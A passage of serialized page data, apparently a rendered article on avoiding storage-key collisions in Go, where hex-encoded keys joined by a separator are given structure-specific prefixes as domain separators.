789},{"type":19,"tag":168,"props":84292,"children":84293},{"style":175},[84294],{"type":24,"value":84295}," AddressMapKey",{"type":19,"tag":168,"props":84297,"children":84298},{"style":212},[84299],{"type":24,"value":870},{"type":19,"tag":168,"props":84301,"children":84302},{"class":170,"line":21016},[84303,84307,84311],{"type":19,"tag":168,"props":84304,"children":84305},{"style":393},[84306],{"type":24,"value":82736},{"type":19,"tag":168,"props":84308,"children":84309},{"style":825},[84310],{"type":24,"value":73910},{"type":19,"tag":168,"props":84312,"children":84313},{"style":212},[84314],{"type":24,"value":915},{"type":19,"tag":168,"props":84316,"children":84317},{"class":170,"line":21025},[84318,84322,84326,84331,84335],{"type":19,"tag":168,"props":84319,"children":84320},{"style":393},[84321],{"type":24,"value":82748},{"type":19,"tag":168,"props":84323,"children":84324},{"style":212},[84325],{"type":24,"value":471},{"type":19,"tag":168,"props":84327,"children":84328},{"style":393},[84329],{"type":24,"value":84330},"addressName",{"type":19,"tag":168,"props":84332,"children":84333},{"style":212},[84334],{"type":24,"value":73716},{"type":19,"tag":168,"props":84336,"children":84337},{"style":825},[84338],{"type":24,"value":81717},{"type":19,"tag":168,"props":84340,"children":84341},{"class":170,"line":21067},[84342,84346,84350,84354,84358],{"type":19,"tag":168,"props":84343,"children":84344},{"style":212},[84345],{"type":24,"value":73871},{"type":19,"tag":168,"props":84347,"children":84348},{"style":393},[84349],{"type":24,"value":69643},{"type":19,"tag":168,"props":84351,"children":84352},{"style":212},[84353],{"type":24,"value":73716},{"type":19,"tag":168,"props":84355,"children":84356},{"style":825},[84357],{"type":24,"value":82254},{"type":19,"tag":168,"props":84359,"children":84360},{"style":212},[84361],{"type":24,"value":12250},{"type":19,"tag":168,"props":84363,"children":84364},{"class":170,"line":21100},[84365,84369,84373,84377],{"type":19,"tag":168,"props":84366,"children":84367},{"style":393},[84368],{"type":24,"value":83350},{"type":19,"tag":168,"props":84370,"children":84371},{"style":399},[84372],{"type":24,"value":73905},{"type":19,"tag":168,"props":84374,"children":84375},{"style":175},[84376],{"type":24,"value":83053},{"type":19,"tag":168,"props":84378,"children":84379},{"style":212},[84380],{"type":24,"value":870},{"type":19,"tag":168,"props":84382,"children":84383},{"class":170,"line":21108},[84384,84388,84392],{"type":19,"tag":168,"props":84385,"children":84386},{"style":212},[84387],{"type":24,"value":83944},{"type":19,"tag":168,"props":84389,"children":84390},{"style":825},[84391],{"type":24,"value":82254},{"type":19,"tag":168,"props":84393,"children":84394},{"style":212},[84395],{"type":24,"value":915},{"type":19,"tag":168,"props":84397,"children":84398},{"class":170,"line":21116},[84399,84403,84407,84411,84415,84419,84423,84427],{"type":19,"tag":168,"props":84400,"children":84401},{"style":393},[84402],{"type":24,"value":83960},{"type":19,"tag":168,"props":84404,"children":84405},{"style":212},[84406],{"type":24,"value":948},{"type":19,"tag":168,"props":84408,"children":84409},{"style":175},[84410],{"type":24,"value":83090},{"type":19,"tag":168,"props":84412,"children":84413},{"style":212},[84414],{"type":24,"value":500},{"type":19,"tag":168,"props":84416,"children":84417},{"style":175},[84418],{"type":24,"value":6579},{"type":19,"tag":168,"props":84420,"children":84421},{"style":212},[84422],{"type":24,"value":500},{"type":19,"tag":168,"props":84424,"children":84425},{"style":393},[84426],{"type":24,"value":82960},{"type":19,"tag":168,"props":84428,"children":84429},{"style":212},[84430],{"type":24,"value":83111},{"type":19,"tag":168,"props":84432,"children":84433},{"class":170,"line":21125},[84434],{"type":19,"tag":168,"props":84435,"children":84436},{"style":212},[84437],{"type":24,"value":21386},{"type":19,"tag":168,"props":84439,"children":84440},{"class":170,"line":21201},[84441,84445,84449,84453,84457,84461,84465,84469],{"type":19,"tag":168,"props":84442,"children":84443},{"style":393},[84444],{"type":24,"value":83081},{"type":19,"tag":168,"props":84446,"children":84447},{"style":212},[84448],{"type":24,"value":948},{"type":19,"tag":168,"props":84450,"children":84451},{"style":175},[84452],{"type":24,"value":83135},{"type":19,"tag":168,"props":84454,"children":84455},{"style":212},[84456],{"type":24,"value":500},{"type":19,"tag":168,"props":84458,"children":84459},{"style":393},[84460],{"type":24,"value":83044},{"type":19,"tag":168,"props":84462,"children":84463},{"style":212},[84464],{"type":24,"value":471},{"type":19,"tag":168,"props":84466,"children":84467},{"style":393},[84468],{"type":24,"value":82960},{"type":19,"tag":168,"props":84470,"children":84471},{"style":212},[84472],{"type":24,"value":557},{"type":19,"tag":168,"props":84474,"children":84475},{"class":170,"line":21234},[84476],{"type":19,"tag":168,"props":84477,"children":84478},{"emptyLinePlaceholder":14},[84479],{"type":24,"value":1093},{"type":19,"tag":168,"props":84481,"children":84482},{"class":170,"line":21242},[84483,84488,84492,84496],{"type":19,"tag":168,"props":84484,"children":84485},{"style":393},[84486],{"type":24,"value":84487}," addressNameEncoded",{"type":19,"tag":168,"props":84489,"children":84490},{"style":399},[84491],{"type":24,"value":73905},{"type":19,"tag":168,"props":84493,"children":84494},{"style":175},[84495],{"type":24,"value":83053},{"type":19,"tag":168,"props":84497,"children":84498},{"style":212},[84499],{"type":24,"value":870},{"type":19,"tag":168,"props":84501,"children":84502},{"class":170,"line":21250},[84503,84507,84511],{"type":19,"tag":168,"props":84504,"children":84505},{"style":212},[84506],{"type":24,"value":83944},{"type":19,"tag":168,"props":84508,"children":84509},{"style":825},[84510],{"type":24,"value":82254},{"type":19,"tag":168,"props":84512,"children":84513},{"style":212},[84514],{"type":24,"value":915},{"type":19,"tag":168,"props":84516,"children":84517},{"class":170,"line":21287},[84518,84522,84526,84530,84534,84538,84542,84546],{"type":19,"tag":168,"props":84519,"children":84520},{"style":393},[84521],{"type":24,"value":83960},{"type":19,"tag":168,"props":84523,"children":84524},{"style":212},[84525],{"type":24,"value":948},{"type":19,"tag":168,"props":84527,"children":84528},{"style":175},[84529],{"type":24,"value":83090},{"type":19,"tag":168,"props":84531,"children":84532},{"style":212},[84533],{"type":24,"value":500},{"type":19,"tag":168,"props":84535,"children":84536},{"style":175},[84537],{"type":24,"value":6579},{"type":19,"tag":168,"props":84539,"children":84540},{"style":212},[84541],{"type":24,"value":500},{"type":19,"tag":168,"props":84543,"children":84544},{"style":393},[84545],{"type":24,"value":84330},{"type":19,"tag":168,"props":84547,"children":84548},{"style":212},[84549],{"type":24,"value":83111},{"type":19,"tag":168,"props":84551,"children":84552},{"class":170,"line":21300},[84553],{"type":19,"tag":168,"props":84554,"children":84555},{"style":212},[84556],{"type":24,"value":21386},{"type":19,"tag":168,"props":84558,"children":84559},{"class":170,"line":21313},[84560,84564,84568,84572,84576,84581,84585,84589],{"type":19,"tag":168,"props":84561,"children":84562},{"style":393},[84563],{"type":24,"value":83081},{"type":19,"tag":168,"props":84565,"children":84566},{"style":212},[84567],{"type":24,"value":948},{"type":19,"tag":168,"props":84569,"children":84570},{"style":175},[84571],{"type":24,"value":83135},{"type":19,"tag":168,"props":84573,"children":84574},{"style":212},[84575],{"type":24,"value":500},{"type":19,"tag":168,"props":84577,"children":84578},{"style":393},[84579],{"type":24,"value":84580},"addressNameEncoded",{"type":19,"tag":168,"props":84582,"children":84583},{"style":212},[84584],{"type":24,"value":471},{"type":19,"tag":168,"props":84586,"children":84587},{"style":393},[84588],{"type":24,"value":84330},{"type":19,"tag":168,"props":84590,"children":84591},{"style":212},[84592],{"type":24,"value":557},{"type":19,"tag":168,"props":84594,"children":84595},{"class":170,"line":21326},[84596],{"type":19,"tag":168,"props":84597,"children":84598},{"emptyLinePlaceholder":14},[84599],{"type":24,"value":1093},{"type":19,"tag":168,"props":84601,"children":84602},{"class":170,"line":21380},[84603,84607,84611,84615,84619,84623],{"type":19,"tag":168,"props":84604,"children":84605},{"style":393},[84606],{"type":24,"value":84164},{"type":19,"tag":168,"props":84608,"children":84609},{"style":399},[84610],{"type":24,"value":73905},{"type":19,"tag":168,"props":84612,"children":84613},{"style":393},[84614],{"type":24,"value":79723},{"type":19,"tag":168,"props":84616,"children":84617},{"style":212},[84618],{"type":24,"value":948},{"type":19,"tag":168,"props":84620,"children":84621},{"style":175},[84622],{"type":24,"value":82712},{"type":19,"tag":168,"props":84624,"children":84625},{"style":212},[84626],{"type":24,"value":870},{"type":19,"tag":168,"props":84628,"children":84629},{"class":170,"line":21389},[84630,84634],{"type":19,"tag":168,"props":84631,"children":84632},{"style":181},[84633],{"type":24,"value":84192},{"type":19,"tag":168,"props":84635,"children":84636},{"style":212},[84637],{"type":24,"value":915},{"type":19,"tag":168,"props":84639,"children":84640},{"class":170,"line":29753},[84641,84645],{"type":19,"tag":168,"props":84642,"children":84643},{"style":393},[84644],{"type":24,"value":84204},{"type":19,"tag":168,"props":84646,"children":84647},{"style":212},[84648],{"type":24,"value":915},{"type":19,"tag":168,"props":84650,"children":84651},{"class":170,"line":29774},[84652,84656],{"type":19,"tag":168,"props":84653,"children":84654},{"style":393},[84655],{"type":24,"value":84216},{"type":19,"tag":168,"props":84657,"children":84658},{"style":212},[84659],{"type":24,"value":915},{"type":19,"tag":168,"props":84661,"children":84662},{"class":170,"line":78440},[84663,84667],{"type":19,"tag":168,"props":84664,"children":84665},{"style":393},[84666],{"type":24,"value":84228},{"type":19,"tag":168,"props":84668,"children":84669},{"style":212},[84670],{"type":24,"value":915},{"type":19,"tag":168,"props":84672,"children":84673},{"class":170,"line":78453},[84674,84678],{"type":19,"tag":168,"props":84675,"children":84676},{"style":393},[84677],{"type":24,"value":84216},{"type":19,"tag":168,"props":84679,"children":84680},{"style":212},[84681],{"type":24,"value":915},{"type":19,"tag":168,"props":84683,"children":84684},{"class":170,"line":78461},[84685,84690],{"type":19,"tag":168,"props":84686,"children":84687},{"style":393},[84688],{"type":24,"value":84689}," addressNameEncoded",{"type":19,"tag":168,"props":84691,"children":84692},{"style":212},[84693],{"type":24,"value":915},{"type":19,"tag":168,"props":84695,"children":84696},{"class":170,"line":78469},[84697],{"type":19,"tag":168,"props":84698,"children":84699},{"style":212},[84700],{"type":24,"value":21386},{"type":19,"tag":168,"props":84702,"children":84703},{"class":170,"line":78477},[84704],{"type":19,"tag":168,"props":84705,"children":84706},{"style":212},[84707],{"type":24,"value":1326},{"type":19,"tag":20,"props":84709,"children":84710},{},[84711,84713,84718],{"type":24,"value":84712},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":19,"tag":27,"props":84714,"children":84716},{"className":84715},[],[84717],{"type":24,"value":82466},{"type":24,"value":84719},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":19,"tag":158,"props":84721,"children":84723},{"code":84722},"vaultId = 1, username = \"a\", positionName = \"b\"\n => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n => AddressMapKey = \"1|a||b\"\n",[84724],{"type":19,"tag":27,"props":84725,"children":84726},{"__ignoreMap":7},[84727],{"type":24,"value":84722},{"type":19,"tag":20,"props":84729,"children":84730},{},[84731],{"type":24,"value":84732},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":19,"tag":158,"props":84734,"children":84736},{"code":84735,"language":73653,"meta":7,"className":73654,"style":7},"const (\n Seperator = \"|\"\n PositionMapPrefix = \"\\x01\"\n AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n PositionMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n AddressMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[84737],{"type":19,"tag":27,"props":84738,"children":84739},{"__ignoreMap":7},[84740,84751,84766,84793,84818,84825,84832,84839,84854,84869,84896,84919,84938,84953,84988,84995,85030,85037,85056,85071,85106,85113,85148,85155,85182,85194,85206,85217,85228,85239,85250,85261,85268,85275,85282,85289,85304,85319,85346,85369,85388,85403,85438,85445,85480,85487,85506,85521,85556,85563,85598,85605,85632,85643,85655,85666,85677,85688,85699,85710,85718],{"type":19,"tag":168,"props":84741,"children":84742},{"class":170,"line":171},[84743,84747],{"type":19,"tag":168,"props":84744,"children":84745},{"style":382},[84746],{"type":24,"value":7097},{"type":19,"tag":168,"props":84748,"children":84749},{"style":212},[84750],{"type":24,"value":76055},{"type":19,"tag":168,"props":84752,"children":84753},{"class":170,"line":198},[84754,84758,84762],{"type":19,"tag":168,"props":84755,"children":84756},{"style":393},[84757],{"type":24,"value":82820},{"type":19,"tag":168,"props":84759,"children":84760},{"style":399},[84761],{"type":24,"value":402},{"type":19,"tag":168,"props":84763,"children":84764},{"style":181},[84765],{"type":24,"value":82829},{"type":19,"tag":168,"props":84767,"children":84768},{"class":170,"line":415},[84769,84774,84778,84783,84788],{"type":19,"tag":168,"props":84770,"children":84771},{"style":393},[84772],{"type":24,"value":84773}," PositionMapPrefix",{"type":19,"tag":168,"props":84775,"children":84776},{"style":399},[84777],{"type":24,"value":402},{"type":19,"tag":168,"props":84779,"children":84780},{"style":181},[84781],{"type":24,"value":84782}," \"",{"type":19,"tag":168,"props":84784,"children":84785},{"style":45855},[84786],{"type":24,"value":84787},"\\x01",{"type":19,"tag":168,"props":84789,"children":84790},{"style":181},[84791],{"type":24,"value":84792},"\"\n",{"type":19,"tag":168,"props":84794,"children":84795},{"class":170,"line":450},[84796,84801,84805,84809,84814],{"type":19,"tag":168,"props":84797,"children":84798},{"style":393},[84799],{"type":24,"value":84800}," AddressMapPrefix",{"type":19,"tag":168,"props":84802,"children":84803},{"style":399},[84804],{"type":24,"value":402},{"type":19,"tag":168,"props":84806,"children":84807},{"style":181},[84808],{"type":24,"value":84782},{"type":19,"tag":168,"props":84810,"children":84811},{"style":45855},[84812],{"type":24,"value":84813},"\\x02",{"type":19,"tag":168,"props":84815,"children":84816},{"style":181},[84817],{"type":24,"value":84792},{"type":19,"tag":168,"props":84819,"children":84820},{"class":170,"line":560},[84821],{"type":19,"tag":168,"props":84822,"children":84823},{"style":212},[84824],{"type":24,"value":557},{"type":19,"tag":168,"props":84826,"children":84827},{"class":170,"line":666},[84828],{"type":19,"tag":168,"props":84829,"children":84830},{"emptyLinePlaceholder":14},[84831],{"type":24,"value":1093},{"type":19,"tag":168,"props":84833,"children":84834},{"class":170,"line":694},[84835],{"type":19,"tag":168,"props":84836,"children":84837},{"emptyLinePlaceholder":14},[84838],{"type":24,"value":1093},{"type":19,"tag":168,"props":84840,"children":84841},{"class":170,"line":707},[84842,84846,84850],{"type":19,"tag":168,"props":84843,"children":84844},{"style":382},[84845],{"type":24,"value":73789},{"type":19,"tag":168,"props":84847,"children":84848},{"style":175},[84849],{"type":24,"value":83848},{"type":19,"tag":168,"props":84851,"children":84852},{"style":212},[84853],{"type":24,"value":870},{"type":19,"tag":168,"props":84855,"children":84856},{"class":170,"line":725},[84857,84861,84865],{"type":19,"tag":168,"props":84858,"children":84859},{"style":393},[84860],{"type":24,"value":82736},{"type":19,"tag":168,"props":84862,"children":84863},{"style":825},[84864],{"type":24,"value":73910},{"type":19,"tag":168,"props":84866,"children":84867},{"style":212},[84868],{"type":24,"value":915},{"type":19,"tag":168,"props":84870,"children":84871},{"class":170,"line":746},[84872,84876,84880,84884,84888,84892],{"type":19,"tag":168,"props":84873,"children":84874},{"style":393},[84875],{"type":24,"value":82748},{"type":19,"tag":168,"props":84877,"children":84878},{"style":212},[84879],{"type":24,"value":471},{"type":19,"tag":168,"props":84881,"children":84882},{"style":393},[84883],{"type":24,"value":83229},{"type":19,"tag":168,"props":84885,"children":84886},{"style":212},[84887],{"type":24,"value":73716},{"type":19,"tag":168,"props":84889,"children":84890},{"style":825},[84891],{"type":24,"value":82254},{"type":19,"tag":168,"props":84893,"children":84894},{"style":212},[84895],{"type":24,"value":915},{"type":19,"tag":168,"props":84897,"children":84898},{"class":170,"line":755},[84899,84903,84907,84911,84915],{"type":19,"tag":168,"props":84900,"children":84901},{"style":212},[84902],{"type":24,"value":73871},{"type":19,"tag":168,"props":84904,"children":84905},{"style":393},[84906],{"type":24,"value":69643},{"type":19,"tag":168,"props":84908,"children":84909},{"style":212},[84910],{"type":24,"value":73716},{"type":19,"tag":168,"props":84912,"children":84913},{"style":825},[84914],{"type":24,"value":82254},{"type":19,"tag":168,"props":84916,"children":84917},{"style":212},[84918],{"type":24,"value":12250},{"type":19,"tag":168,"props":84920,"children":84921},{"class":170,"line":1008},[84922,84926,84930,84934],{"type":19,"tag":168,"props":84923,"children":84924},{"style":393},[84925],{"type":24,"value":83350},{"type":19,"tag":168,"props":84927,"children":84928},{"style":399},[84929],{"type":24,"value":73905},{"type":19,"tag":168,"props":84931,"children":84932},{"style":175},[84933],{"type":24,"value":83053},{"type":19,"tag":168,"props":84935,"children":84936},{"style":212},[84937],{"type":24,"value":870},{"type":19,"tag":168,"props":84939,"children":84940},{"class":170,"line":1025},[84941,84945,84949],{"type":19,"tag":168,"props":84942,"children":84943},{"style":212},[84944],{"type":24,"value":83944},{"type":19,"tag":168,"props":84946,"children":84947},{"style":825},[84948],{"type":24,"value":82254},{"type":19,"tag":168,"props":84950,"children":84951},{"style":212},[84952],{"type":24,"value":915},{"type":19,"tag":168,"props":84954,"children":84955},{"class":170,"line":1042},[84956,84960,84964,84968,84972,84976,84980,84984],{"type":19,"tag":168,"props":84957,"children":84958},{"style":393},[84959],{"type":24,"value":83960},{"type":19,"tag":168,"props":84961,"children":84962},{"style":212},[84963],{"type":24,"value":948},{"type":19,"tag":168,"props":84965,"children":84966},{"style":175},[84967],{"type":24,"value":83090},{"type":19,"tag":168,"props":84969,"children":84970},{"style":212},[84971],{"type":24,"value":500},{"type":19,"tag":168,"props":84973,"children":84974},{"style":175},[84975],{"type":24,"value":6579},{"type":19,"tag":168,"props":84977,"children":84978},{"style":212},[84979],{"type":24,"value":500},{"type":19,"tag":168,"props":84981,"children":84982},{"style":393},[84983],{"type":24,"value":82960},{"type":19,"tag":168,"props":84985,"children":84986},{"style":212},[84987],{"type":24,"value":83111},{"type":19,"tag":168,"props":84989,"children":84990},{"class":170,"line":1055},[84991],{"type":19,"tag":168,"props":84992,"children":84993},{"style":212},[84994],{"type":24,"value":21386},{"type":19,"tag":168,"props":84996,"children":84997},{"class":170,"line":1064},[84998,85002,85006,85010,85014,85018,85022,85026],{"type":19,"tag":168,"props":84999,"children":85000},{"style":393},[85001],{"type":24,"value":83081},{"type":19,"tag":168,"props":85003,"children":85004},{"style":212},[85005],{"type":24,"value":948},{"type":19,"tag":168,"props":85007,"children":85008},{"style":175},[85009],{"type":24,"value":83135},{"type":19,"tag":168,"props":85011,"children":85012},{"style":212},[85013],{"type":24,"value":500},{"type":19,"tag":168,"props":85015,"children":85016},{"style":393},[85017],{"type":24,"value":83044},{"type":19,"tag":168,"props":85019,"children":85020},{"style":212},[85021],{"type":24,"value":471},{"type":19,"tag":168,"props":85023,"children":85024},{"style":393},[85025],{"type":24,"value":82960},{"type":19,"tag":168,"props":85027,"children":85028},{"style":212},[85029],{"type":24,"value":557},{"type":19,"tag":168,"props":85031,"children":85032},{"class":170,"line":1087},[85033],{"type":19,"tag":168,"props":85034,"children":85035},{"emptyLinePlaceholder":14},[85036],{"type":24,"value":1093},{"type":19,"tag":168,"props":85038,"children":85039},{"class":170,"line":1096},[85040,85044,85048,85052],{"type":19,"tag":168,"props":85041,"children":85042},{"style":393},[85043],{"type":24,"value":84045},{"type":19,"tag":168,"props":85045,"children":85046},{"style":399},[85047],{"type":24,"value":73905},{"type":19,"tag":168,"props":85049,"children":85050},{"style":175},[85051],{"type":24,"value":83053},{"type":19,"tag":168,"props":85053,"children":85054},{"style":212},[85055],{"type":24,"value":870},{"type":19,"tag":168,"props":85057,"children":85058},{"class":170,"line":1105},[85059,85063,85067],{"type":19,"tag":168,"props":85060,"children":85061},{"style":212},[85062],{"type":24,"value":83944},{"type":19,"tag":168,"props":85064,"children":85065},{"style":825},[85066],{"type":24,"value":82254},{"type":19,"tag":168,"props":85068,"children":85069},{"style":212},[85070],{"type":24,"value":915},{"type":19,"tag":168,"props":85072,"children":85073},{"class":170,"line":1174},[85074,85078,85082,85086,85090,85094,85098,85102],{"type":19,"tag":168,"props":85075,"children":85076},{"style":393},[85077],{"type":24,"value":83960},{"type":19,"tag":168,"props":85079,"children":85080},{"style":212},[85081],{"type":24,"value":948},{"type":19,"tag":168,"props":85083,"children":85084},{"style":175},[85085],{"type":24,"value":83090},{"type":19,"tag":168,"props":85087,"children":85088},{"style":212},[85089],{"type":24,"value":500},{"type":19,"tag":168,"props":85091,"children":85092},{"style":175},[85093],{"type":24,"value":6579},{"type":19,"tag":168,"props":85095,"children":85096},{"style":212},[85097],{"type":24,"value":500},{"type":19,"tag":168,"props":85099,"children":85100},{"style":393},[85101],{"type":24,"value":83229},{"type":19,"tag":168,"props":85103,"children":85104},{"style":212},[85105],{"type":24,"value":83111},{"type":19,"tag":168,"props":85107,"children":85108},{"class":170,"line":1182},[85109],{"type":19,"tag":168,"props":85110,"children":85111},{"style":212},[85112],{"type":24,"value":21386},{"type":19,"tag":168,"props":85114,"children":85115},{"class":170,"line":1212},[85116,85120,85124,85128,85132,85136,85140,85144],{"type":19,"tag":168,"props":85117,"children":85118},{"style":393},[85119],{"type":24,"value":83081},{"type":19,"tag":168,"props":85121,"children":85122},{"style":212},[85123],{"type":24,"value":948},{"type":19,"tag":168,"props":85125,"children":85126},{"style":175},[85127],{"type":24,"value":83135},{"type":19,"tag":168,"props":85129,"children":85130},{"style":212},[85131],{"type":24,"value":500},{"type":19,"tag":168,"props":85133,"children":85134},{"style":393},[85135],{"type":24,"value":83170},{"type":19,"tag":168,"props":85137,"children":85138},{"style":212},[85139],{"type":24,"value":471},{"type":19,"tag":168,"props":85141,"children":85142},{"style":393},[85143],{"type":24,"value":83229},{"type":19,"tag":168,"props":85145,"children":85146},{"style":212},[85147],{"type":24,"value":557},{"type":19,"tag":168,"props":85149,"children":85150},{"class":170,"line":1220},[85151],{"type":19,"tag":168,"props":85152,"children":85153},{"emptyLinePlaceholder":14},[85154],{"type":24,"value":1093},{"type":19,"tag":168,"props":85156,"children":85157},{"class":170,"line":1252},[85158,85162,85166,85170,85174,85178],{"type":19,"tag":168,"props":85159,"children":85160},{"style":393},[85161],{"type":24,"value":84164},{"type":19,"tag":168,"props":85163,"children":85164},{"style":399},[85165],{"type":24,"value":73905},{"type":19,"tag":168,"props":85167,"children":85168},{"style":393},[85169],{"type":24,"value":79723},{"type":19,"tag":168,"props":85171,"children":85172},{"style":212},[85173],{"type":24,"value":948},{"type":19,"tag":168,"props":85175,"children":85176},{"style":175},[85177],{"type":24,"value":82712},{"type":19,"tag":168,"props":85179,"children":85180},{"style":212},[85181],{"type":24,"value":870},{"type":19,"tag":168,"props":85183,"children":85184},{"class":170,"line":1260},[85185,85190],{"type":19,"tag":168,"props":85186,"children":85187},{"style":181},[85188],{"type":24,"value":85189}," \"%s%d%s%s%s%s\"",{"type":19,"tag":168,"props":85191,"children":85192},{"style":212},[85193],{"type":24,"value":915},{"type":19,"tag":168,"props":85195,"children":85196},{"class":170,"line":1320},[85197,85202],{"type":19,"tag":168,"props":85198,"children":85199},{"style":393},[85200],{"type":24,"value":85201}," PositionMapPrefix",{"type":19,"tag":168,"props":85203,"children":85204},{"style":212},[85205],{"type":24,"value":915},{"type":19,"tag":168,"props":85207,"children":85208},{"class":170,"line":6486},[85209,85213],{"type":19,"tag":168,"props":85210,"children":85211},{"style":393},[85212],{"type":24,"value":84204},{"type":19,"tag":168,"props":85214,"children":85215},{"style":212},[85216],{"type":24,"value":915},{"type":19,"tag":168,"props":85218,"children":85219},{"class":170,"line":6504},[85220,85224],{"type":19,"tag":168,"props":85221,"children":85222},{"style":393},[85223],{"type":24,"value":84216},{"type":19,"tag":168,"props":85225,"children":85226},{"style":212},[85227],{"type":24,"value":915},{"type":19,"tag":168,"props":85229,"children":85230},{"class":170,"line":6549},[85231,85235],{"type":19,"tag":168,"props":85232,"children":85233},{"style":393},[85234],{"type":24,"value":84228},{"type":19,"tag":168,"props":85236,"children":85237},{"style":212},[85238],{"type":24,"value":915},{"type":19,"tag":168,"props":85240,"children":85241},{"class":170,"line":6655},[85242,85246],{"type":19,"tag":168,"props":85243,"children":85244},{"style":393},[85245],{"type":24,"value":84216},{"type":19,"tag":168,"props":85247,"children":85248},{"style":212},[85249],{"type":24,"value":915},{"type":19,"tag":168,"props":85251,"children":85252},{"class":170,"line":20965},[85253,85257],{"type":19,"tag":168,"props":85254,"children":85255},{"style":393},[85256],{"type":24,"value":84251},{"type":19,"tag":168,"props":85258,"children":85259},{"style":212},[85260],{"type":24,"value":915},{"type":19,"tag":168,"props":85262,"children":85263},{"class":170,"line":21000},[85264],{"type":19,"tag":168,"props":85265,"children":85266},{"style":212},[85267],{"type":24,"value":21386},{"type":19,"tag":168,"props":85269,"children":85270},{"class":170,"line":21008},[85271],{"type":19,"tag":168,"props":85272,"children":85273},{"style":212},[85274],{"type":24,"value":1326},{"type":19,"tag":168,"props":85276,"children":85277},{"class":170,"line":21016},[85278],{"type":19,"tag":168,"props":85279,"children":85280},{"emptyLinePlaceholder":14},[85281],{"type":24,"value":1093},{"type":19,"tag":168,"props":85283,"children":85284},{"class":170,"line":21025},[85285],{"type":19,"tag":168,"props":85286,"children":85287},{"emptyLinePlaceholder":14},[85288],{"type":24,"value":1093},{"type":19,"tag":168,"props":85290,"children":85291},{"class":170,"line":21067},[85292,85296,85300],{"type":19,"tag":168,"props":85293,"children":85294},{"style":382},[85295],{"type":24,"value":73789},{"type":19,"tag":168,"props":85297,"children":85298},{"style":175},[85299],{"type":24,"value":84295},{"type":19,"tag":168,"props":85301,"children":85302},{"style":212},[85303],{"type":24,"value":870},{"type":19,"tag":168,"props":85305,"children":85306},{"class":170,"line":21100},[85307,85311,85315],{"type":19,"tag":168,"props":85308,"children":85309},{"style":393},[85310],{"type":24,"value":82736},{"type":19,"tag":168,"props":85312,"children":85313},{"style":825},[85314],{"type":24,"value":73910},{"type":19,"tag":168,"props":85316,"children":85317},{"style":212},[85318],{"type":24,"value":915},{"type":19,"tag":168,"props":85320,"children":85321},{"class":170,"line":21108},[85322,85326,85330,85334,85338,85342],{"type":19,"tag":168,"props":85323,"children":85324},{"style":393},[85325],{"type":24,"value":82748},{"type":19,"tag":168,"props":85327,"children":85328},{"style":212},[85329],{"type":24,"value":471},{"type":19,"tag":168,"props":85331,"children":85332},{"style":393},[85333],{"type":24,"value":84330},{"type":19,"tag":168,"props":85335,"children":85336},{"style":212},[85337],{"type":24,"value":73716},{"type":19,"tag":168,"props":85339,"children":85340},{"style":825},[85341],{"type":24,"value":82254},{"type":19,"tag":168,"props":85343,"children":85344},{"style":212},[85345],{"type":24,"value":915},{"type":19,"tag":168,"props":85347,"children":85348},{"class":170,"line":21116},[85349,85353,85357,85361,85365],{"type":19,"tag":168,"props":85350,"children":85351},{"style":212},[85352],{"type":24,"value":73871},{"type":19,"tag":168,"props":85354,"children":85355},{"style":393},[85356],{"type":24,"value":69643},{"type":19,"tag":168,"props":85358,"children":85359},{"style":212},[85360],{"type":24,"value":73716},{"type":19,"tag":168,"props":85362,"children":85363},{"style":825},[85364],{"type":24,"value":82254},{"type":19,"tag":168,"props":85366,"children":85367},{"style":212},[85368],{"type":24,"value":12250},{"type":19,"tag":168,"props":85370,"children":85371},{"class":170,"line":21125},[85372,85376,85380,85384],{"type":19,"tag":168,"props":85373,"children":85374},{"style":393},[85375],{"type":24,"value":83350},{"type":19,"tag":168,"props":85377,"children":85378},{"style":399},[85379],{"type":24,"value":73905},{"type":19,"tag":168,"props":85381,"children":85382},{"style":175},[85383],{"type":24,"value":83053},{"type":19,"tag":168,"props":85385,"children":85386},{"style":212},[85387],{"type":24,"value":870},{"type":19,"tag":168,"props":85389,"children":85390},{"class":170,"line":21201},[85391,85395,85399],{"type":19,"tag":168,"props":85392,"children":85393},{"style":212},[85394],{"type":24,"value":83944},{"type":19,"tag":168,"props":85396,"children":85397},{"style":825},[85398],{"type":24,"value":82254},{"type":19,"tag":168,"props":85400,"children":85401},{"style":212},[85402],{"type":24,"value":915},{"type":19,"tag":168,"props":85404,"children":85405},{"class":170,"line":21234},[85406,85410,85414,85418,85422,85426,85430,85434],{"type":19,"tag":168,"props":85407,"children":85408},{"style":393},[85409],{"type":24,"value":83960},{"type":19,"tag":168,"props":85411,"children":85412},{"style":212},[85413],{"type":24,"value":948},{"type":19,"tag":168,"props":85415,"children":85416},{"style":175},[85417],{"type":24,"value":83090},{"type":19,"tag":168,"props":85419,"children":85420},{"style":212},[85421],{"type":24,"value":500},{"type":19,"tag":168,"props":85423,"children":85424},{"style":175},[85425],{"type":24,"value":6579},{"type":19,"tag":168,"props":85427,"children":85428},{"style":212},[85429],{"type":24,"value":500},{"type":19,"tag":168,"props":85431,"children":85432},{"style":393},[85433],{"type":24,"value":82960},{"type":19,"tag":168,"props":85435,"children":85436},{"style":212},[85437],{"type":24,"value":83111},{"type":19,"tag":168,"props":85439,"children":85440},{"class":170,"line":21242},[85441],{"type":19,"tag":168,"p